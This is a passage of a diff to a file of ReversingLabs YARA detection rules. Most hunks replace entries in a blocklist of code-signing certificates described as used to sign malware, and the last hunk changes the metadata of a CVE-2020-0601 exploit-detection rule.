"https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "bafab986605be61d25a6764042937bc5d8c55196ea8ea9aa9360764d9681351b" + logic_hash = "861691ce7bae4366f3b35d01c84bb0031b54653869f52eaccf20808b1b55d2af" score = 75 quality = 90 tags = "INFO, FILE" @@ -29717,21 +52111,21 @@ rule REVERSINGLABS_Cert_Blocklist_11211Eea9D0D1D1A325B5Eae1B2B1951120F : INFO FI importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LLC HERMES" and pe.signatures [ i ] . serial == "11:21:1e:ea:9d:0d:1d:1a:32:5b:5e:ae:1b:2b:19:51:12:0f" and 1460147212 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "FLY BETTER s.r.o." and pe.signatures [ i ] . serial == "24:e4:a2:b3:db:6b:e1:00:7b:9d:dc:91:99:5b:c0:c8" and 1645142400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_172Fea8Cb06Ffced6Bfac7F2F6B77754 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_881573Fc67Ff7395Dde5Bccfbce5B088 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "0890bf55-ebd5-5b68-8047-14692a5f1ae7" + id = "d188c65c-ee7b-586f-95f0-8de5b506c325" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17052-L17068" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11180-L11198" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8e1e3e7d002ce084600c5444dc9b0bad8771370cb7919a3bb5ebc899040e4cf2" + logic_hash = "ce489a4a2f07181d6fbf295f426deeaf51310e061bac2e56d65b37eeb397ff9a" score = 75 quality = 90 tags = "INFO, FILE" @@ -29741,21 +52135,21 @@ rule REVERSINGLABS_Cert_Blocklist_172Fea8Cb06Ffced6Bfac7F2F6B77754 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Xin Zhou" and pe.signatures [ i ] . serial == "17:2f:ea:8c:b0:6f:fc:ed:6b:fa:c7:f2:f6:b7:77:54" and 1467936000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Trade in Brasil s.r.o." and ( pe.signatures [ i ] . serial == "00:88:15:73:fc:67:ff:73:95:dd:e5:bc:cf:bc:e5:b0:88" or pe.signatures [ i ] . serial == "88:15:73:fc:67:ff:73:95:dd:e5:bc:cf:bc:e5:b0:88" ) and 1620000000 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_3Ee50Bb98Fadca2D662A0920E76685A2 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_53E1F226Cb77574F8Fbeb5682Da091Bb : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "5c35c73e-e4f6-5707-ad91-1db7c0a0ec81" + id = "fe3abe27-c8c8-54b8-b031-0546c9bfda90" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17070-L17086" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11200-L11216" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "d232923ed962fbf4a9a30890778c2380d6c6967a693c6f77c2f558bb4347e60e" + logic_hash = "591846225d5faf3ee8f3102acaad066f0187219044077bbdaf32345613b00965" score = 75 quality = 90 tags = "INFO, FILE" @@ -29765,21 +52159,21 @@ rule REVERSINGLABS_Cert_Blocklist_3Ee50Bb98Fadca2D662A0920E76685A2 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ABDULKADIR SAHIN" and pe.signatures [ i ] . serial == "3e:e5:0b:b9:8f:ad:ca:2d:66:2a:09:20:e7:66:85:a2" and 1330041600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "OdyLab Inc" and pe.signatures [ i ] . serial == "53:e1:f2:26:cb:77:57:4f:8f:be:b5:68:2d:a0:91:bb" and 1654020559 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_21Bfddb6A66435D1Adce2Ceb23Ed7C9A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_0772B4D1D63233D2B8771997Bc8Da5C4 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "2009c47b-8a15-50fd-a229-5e34244ede1f" + id = "fe602ac3-fa34-5056-a2cc-5ae9de728559" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17088-L17104" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11218-L11234" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "22ad68974a1c6729da369c26372ba93c25ddf68df880580c727bf2d3ee2d3a86" + logic_hash = "30586a643b29f3c943b3f35bb1639c5b9fa48ecbd776775086e35af502aa4a7a" score = 75 quality = 90 tags = "INFO, FILE" @@ -29789,21 +52183,21 @@ rule REVERSINGLABS_Cert_Blocklist_21Bfddb6A66435D1Adce2Ceb23Ed7C9A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE6\\x9D\\xA8\\xE6\\xB7\\x87\\xE6\\x99\\xBA" and pe.signatures [ i ] . serial == "21:bf:dd:b6:a6:64:35:d1:ad:ce:2c:eb:23:ed:7c:9a" and 1395297334 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Maya logistika d.o.o." and pe.signatures [ i ] . serial == "07:72:b4:d1:d6:32:33:d2:b8:77:19:97:bc:8d:a5:c4" and 1637971201 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_5B1C3F7Bbaa91Ca49B06A5C1004Ee5Be : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_02B6656292310B84022Db5541Bc48Faf : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "b78e7f2b-8122-5df6-ad79-393db9e0498d" + id = "d679238f-a697-5322-815c-9986c9d24032" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17106-L17122" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11236-L11252" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "9a8d9acc87668a6fbd9fdd52b6ef69d18de8f19d8f3d3ca8eeb630c6e8c25c65" + logic_hash = "40b570b28e10ebd2a1ba515dc3fa45bdb5c0b76044e4dda7a6819976072a67a2" score = 75 quality = 90 tags = "INFO, FILE" @@ -29813,21 +52207,21 @@ rule REVERSINGLABS_Cert_Blocklist_5B1C3F7Bbaa91Ca49B06A5C1004Ee5Be : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Jin Yuguang" and pe.signatures [ i ] . serial == "5b:1c:3f:7b:ba:a9:1c:a4:9b:06:a5:c1:00:4e:e5:be" and 1440643213 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "DILA d.o.o." and pe.signatures [ i ] . serial == "02:b6:65:62:92:31:0b:84:02:2d:b5:54:1b:c4:8f:af" and 1613865600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0A2089 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_64C2505C7306639Fc8Eae544B0305338 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "51e603bb-ef21-55e8-8f2b-94865f1213c9" + id = "b0e4057f-a0e7-5e2e-a47f-dc8188b6b506" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17124-L17140" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11254-L11270" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "07ce4d39af1e56fbbfa400cf139956826999043480f93c0fc43ed056f6420d7f" + logic_hash = "9b6fb002d603135391958668be0ef805e441928a035c9c4da4bb9915aa3086e8" score = 75 quality = 90 tags = "INFO, FILE" @@ -29837,21 +52231,21 @@ rule REVERSINGLABS_Cert_Blocklist_0A2089 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "RocketMedia S.r.l." and pe.signatures [ i ] . serial == "0a:20:89" and 1050073884 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "MANILA Solution as" and pe.signatures [ i ] . serial == "64:c2:50:5c:73:06:63:9f:c8:ea:e5:44:b0:30:53:38" and 1609418043 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_1F84E030A0Ed10D5Ffe2B81B : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_2F96A89Bfec6E44Dd224E8Fd7E72D9Bb : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "170dae5a-ed7e-5f20-9ccd-94724e4b2084" + id = "bdca8435-c1fd-598d-bd82-20a3a3b2a959" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17142-L17158" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11272-L11288" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "097655cb2965ae71efb905ddf20ed30c240d25e03d08a1b6c87b472533ccc9d8" + logic_hash = "c0c8e5c0e2e120ee6b055e9a6b2af3d424bed0832c2619beab658fe01757f69f" score = 75 quality = 90 tags = "INFO, FILE" @@ -29861,21 +52255,21 @@ rule REVERSINGLABS_Cert_Blocklist_1F84E030A0Ed10D5Ffe2B81B : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VANKY TECHNOLOGY LIMITED" and pe.signatures [ i ] . serial == "1f:84:e0:30:a0:ed:10:d5:ff:e2:b8:1b" and 1476869735 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "NAILS UNLIMITED LIMITED" and pe.signatures [ i ] . serial == "2f:96:a8:9b:fe:c6:e4:4d:d2:24:e8:fd:7e:72:d9:bb" and 1625529600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_88346267057C0A82E2F39851D1B9694C : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_B649A966410F62999C939384Af553919 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "3be920eb-7b71-53c4-94b7-0ffc88d14c59" + id = "03533c22-eb16-546c-af55-675af9c833ce" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17160-L17178" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11290-L11308" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "60acdbad8ad3e1d4a863ce160d93abd0b5e2b214858cba84f7a1b907d2491486" + logic_hash = "623a2f931198eacf44fd233065e96a4dcadb5b3bbc7ca56df2b6ae9eafc4faa5" score = 75 quality = 90 tags = "INFO, FILE" @@ -29885,21 +52279,21 @@ rule REVERSINGLABS_Cert_Blocklist_88346267057C0A82E2F39851D1B9694C : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Hudson LLC" and ( pe.signatures [ i ] . serial == "00:88:34:62:67:05:7c:0a:82:e2:f3:98:51:d1:b9:69:4c" or pe.signatures [ i ] . serial == "88:34:62:67:05:7c:0a:82:e2:f3:98:51:d1:b9:69:4c" ) and 1595376000 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "F.A.T. SARL" and ( pe.signatures [ i ] . serial == "00:b6:49:a9:66:41:0f:62:99:9c:93:93:84:af:55:39:19" or pe.signatures [ i ] . serial == "b6:49:a9:66:41:0f:62:99:9c:93:93:84:af:55:39:19" ) and 1590537600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_A46F9D8784778Baa48167C48Bbc56F30 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_45245Eef53Fcf38169C715Cf68F44452 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "72d36a5f-6599-5456-ac67-0589e37bd035" + id = "514eac5a-9264-58ef-b4ee-65ec24b43e5a" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17180-L17198" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11310-L11326" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fffb6309355bc6764b0ab033db5964599c86c9a2f6d8985975a07f6b3ebb40ed" + logic_hash = "7e0c3147e657802e457f6df271b7f5a64c81fd13f936a8935aa991022e4ab238" score = 75 quality = 90 tags = "INFO, FILE" @@ -29909,21 +52303,21 @@ rule REVERSINGLABS_Cert_Blocklist_A46F9D8784778Baa48167C48Bbc56F30 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Mapping OOO" and ( pe.signatures [ i ] . serial == "00:a4:6f:9d:87:84:77:8b:aa:48:16:7c:48:bb:c5:6f:30" or pe.signatures [ i ] . serial == "a4:6f:9d:87:84:77:8b:aa:48:16:7c:48:bb:c5:6f:30" ) and 1618963200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "PAPER AND CORE SUPPLIES LTD" and pe.signatures [ i ] . serial == "45:24:5e:ef:53:fc:f3:81:69:c7:15:cf:68:f4:44:52" and 1639958400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_525B5529Db20D17A85Be284D6B7952Ea : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1895433Ee9E2Bd48619D75132262616F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "52cdf082-7212-53e6-9e55-b86153e6afe8" + id = "d7bf59df-708c-5260-bc98-1a86b2c9c988" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17200-L17216" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11328-L11344" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "8fd406004b634e4826659b1dff88c61074fd321969b9fd63ea45d8e9608b35f1" + logic_hash = "f00a29ff5dddae40225ab62cb2d4b9dec1539ad58c8cd27d686480eecdb3e31d" score = 75 quality = 90 tags = "INFO, FILE" @@ -29933,21 +52327,21 @@ rule REVERSINGLABS_Cert_Blocklist_525B5529Db20D17A85Be284D6B7952Ea : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Buster Ind Com Imp e Exp de Acessorios P Autos Ltda" and pe.signatures [ i ] . serial == "52:5b:55:29:db:20:d1:7a:85:be:28:4d:6b:79:52:ea" and 1508198400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Evetrans Ltd" and pe.signatures [ i ] . serial == "18:95:43:3e:e9:e2:bd:48:61:9d:75:13:22:62:61:6f" and 1619789516 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_70Ae0E517D2Ef6D5Eed06B56730A1A9A : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_1Ffc9825644Caf5B1F521780C5C7F42C : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "98c19385-555e-5827-b03c-59645ad2a101" + id = "3d806d90-e029-5521-b191-6967e2691c0f" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17218-L17234" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11346-L11362" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "017eed878daf706eb96b638a8d1f4428466bc1d00ce27f32628bd249a658a813" + logic_hash = "1a9263c809f5633d01d4d4d0091c8dc214bad73af0eff3c9a94b33bca513f26d" score = 75 quality = 90 tags = "INFO, FILE" @@ -29957,21 +52351,21 @@ rule REVERSINGLABS_Cert_Blocklist_70Ae0E517D2Ef6D5Eed06B56730A1A9A : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Yu Bao" and pe.signatures [ i ] . serial == "70:ae:0e:51:7d:2e:f6:d5:ee:d0:6b:56:73:0a:1a:9a" and 1475193600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ACTIVUS LIMITED" and pe.signatures [ i ] . serial == "1f:fc:98:25:64:4c:af:5b:1f:52:17:80:c5:c7:f4:2c" and 1615507200 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_57C3717C5E2Ce9A2E0Cf0340C03F458E : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_8D52Fb12A2511E86Bbb0Ba75C517Eab0 : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "47207784-5aee-5fa3-bed9-2c12d9932c38" + id = "1bc9d36c-381e-5359-bba4-8dd870ed9267" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17236-L17252" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11364-L11382" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "fd710146874528c43ad8a9f847b7704c44ba4564cf79e20e6b23aa98b0ee2ea5" + logic_hash = "023830ab3d71ed8ecf8f0e271c56dc267dcd000f5ff156c70d31089cd7010da8" score = 75 quality = 90 tags = "INFO, FILE" @@ -29981,21 +52375,21 @@ rule REVERSINGLABS_Cert_Blocklist_57C3717C5E2Ce9A2E0Cf0340C03F458E : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Citizen Travel Ltd" and pe.signatures [ i ] . serial == "57:c3:71:7c:5e:2c:e9:a2:e0:cf:03:40:c0:3f:45:8e" and 1450915200 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "VThink Software Consulting Inc." and ( pe.signatures [ i ] . serial == "00:8d:52:fb:12:a2:51:1e:86:bb:b0:ba:75:c5:17:ea:b0" or pe.signatures [ i ] . serial == "8d:52:fb:12:a2:51:1e:86:bb:b0:ba:75:c5:17:ea:b0" ) and 1599177600 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_0761110Efe0B688C469D687512828C1F : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_332Bd5801E8415585E72C87E0E2Ec71D : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "e8575a71-124b-5040-91b1-ccad371e10da" + id = "d251afda-7582-5a00-a100-fd3acff2f995" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17254-L17270" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11384-L11400" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "0ba60e1f58c7335ba5aa261031d09ee83a0ee51e05f8f26078b2a5c776ad0add" + logic_hash = "3648c3a8dbcdbd24746b9fa8cb3071d5f5019e5917848d88437158c6cb165445" score = 75 quality = 90 tags = "INFO, FILE" @@ -30005,21 +52399,21 @@ rule REVERSINGLABS_Cert_Blocklist_0761110Efe0B688C469D687512828C1F : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "ENP Games Co., Ltd." and pe.signatures [ i ] . serial == "07:61:11:0e:fe:0b:68:8c:46:9d:68:75:12:82:8c:1f" and 1433721600 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Elite Marketing Strategies, Inc." and pe.signatures [ i ] . serial == "33:2b:d5:80:1e:84:15:58:5e:72:c8:7e:0e:2e:c7:1d" and 1662616824 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Cert_Blocklist_08Aa03F385F870E3A6D243B74B1Dadf6 : INFO FILE +rule REVERSINGLABS_Cert_Blocklist_E3B80C0932B52A708477939B0D32186F : INFO FILE { meta: description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "64aa17fe-676d-5c6e-babc-15b5e8dc72bb" + id = "e7cdf040-3fe2-55ed-8f66-702fb4455653" date = "2020-08-05" modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L17272-L17288" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11402-L11420" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "ef49a28a93d31c55dd2dfd3bec645f757a0a1a7eb8718ce92cf47bf9af126aed" + logic_hash = "acdfce4dc25cbc9e9817453d5cf56c7d319bebdf7a039ea47412ec3b2f68cb02" score = 75 quality = 90 tags = "INFO, FILE" @@ -30029,30550 +52423,7960 @@ rule REVERSINGLABS_Cert_Blocklist_08Aa03F385F870E3A6D243B74B1Dadf6 : INFO FILE importance = 25 condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "\\xE4\\xB8\\x9C\\xE8\\x8E\\x9E\\xE5\\xB8\\x82\\xE8\\x85\\xBE\\xE4\\xBA\\x91\\xE8\\xAE\\xA1\\xE7\\xAE\\x97\\xE6\\x9C\\xBA\\xE7\\xA7\\x91\\xE6\\x8A\\x80\\xE6\\x9C\\x89\\xE9\\x99\\x90\\xE5\\x85\\xAC\\xE5\\x8F\\xB8" and pe.signatures [ i ] . serial == "08:aa:03:f3:85:f8:70:e3:a6:d2:43:b7:4b:1d:ad:f6" and 1352678400 <= pe.signatures [ i ] . not_after ) + uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "BISOYETUTU LTD LIMITED" and ( pe.signatures [ i ] . serial == "00:e3:b8:0c:09:32:b5:2a:70:84:77:93:9b:0d:32:18:6f" or pe.signatures [ i ] . serial == "e3:b8:0c:09:32:b5:2a:70:84:77:93:9b:0d:32:18:6f" ) and 1617062400 <= pe.signatures [ i ] . not_after ) } -rule REVERSINGLABS_Win32_Exploit_CVE20200601 : TC_DETECTION MALICIOUS EXPLOIT CVE_2020_0601 FILE +rule REVERSINGLABS_Cert_Blocklist_C79F817F082986Bef3209F6723C8Da97 : INFO FILE { meta: - description = "Yara rule that detects CVE-2020-0601 exploit." + description = "Certificate used for digitally signing malware." author = "ReversingLabs" - id = "6a03fd5e-3b7f-5b71-b897-5cac81721a56" - date = "2020-06-26" - modified = "2020-07-15" + id = "b3978831-57d6-5f25-a271-fa4f449d37b3" + date = "2020-08-05" + modified = "2023-11-08" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/exploit/Win32.Exploit.CVE20200601.yara#L3-L253" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L11422-L11440" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "e4d915560ad72e0fde63276f9ffece00535c7983125efaa8298adc11d5e54817" + logic_hash = "a5960f4c2ed768ccc5779d3754f51463c7b14a3a887c690944add23fba464f1a" score = 75 - quality = 88 - tags = "TC_DETECTION, MALICIOUS, EXPLOIT, CVE-2020-0601, FILE" + quality = 90 + tags = "INFO, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "EXPLOIT" - exploit = "CVE-2020-0601" - tc_detection_type = "Exploit" - tc_detection_name = "CVE-2020-0601" - tc_detection_factor = 5 + category = "INFO" 